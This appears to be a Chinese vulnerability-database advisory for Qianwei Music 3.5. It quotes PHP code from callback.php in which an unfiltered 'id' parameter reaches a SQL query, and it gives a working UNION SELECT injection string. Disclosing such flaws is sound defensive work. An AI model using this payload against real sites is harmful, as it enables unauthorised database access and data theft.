Qianwei Music 3.5...

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

<ul><li>/source/connect/callback.php</li></ul><pre class="">close_browse(); $CD_ID=SafeRequest("id","get"); global $db; $sql="select * from ".tname('music')." where CD_ID=".$CD_ID; if($row=$db-&gt;getrow($sql)){ if($row['CD_Server']&lt;&gt;0){ $server=$db-&gt;getrow("select * from ".tname('server')." where CD_ID=".$row['CD_Server']); $player=$server['CD_Url'].$row['CD_Url']; }else{ $player=$row['CD_Url']; } if(substr($player,-4)==".jpg"){ $type=substr($player,-7,3); }else{ $type=substr($player,-3); } echo "&lt;list&gt;&lt;m type=\"".$type."\" src=\"".$player."\" label=\"".$row['CD_Name']." - ".GetSingerAlias("qianwei_singer","CD_Name","CD_ID",$row['CD_SingerID'])."\" image=\"".LinkPicUrl($row['CD_Pic'])."\" _id=\"".$row['CD_ID']."\" /&gt;&lt;/list&gt;"; } ?&gt; </pre><p>id未过滤直接带入SQL语句中,没有单引号保护。当用户传入值为:<br></p><pre class="">id=1%20UNION%20SELECT%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29</pre><p>执行的SQL语句为:</p><pre class="">select * from...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息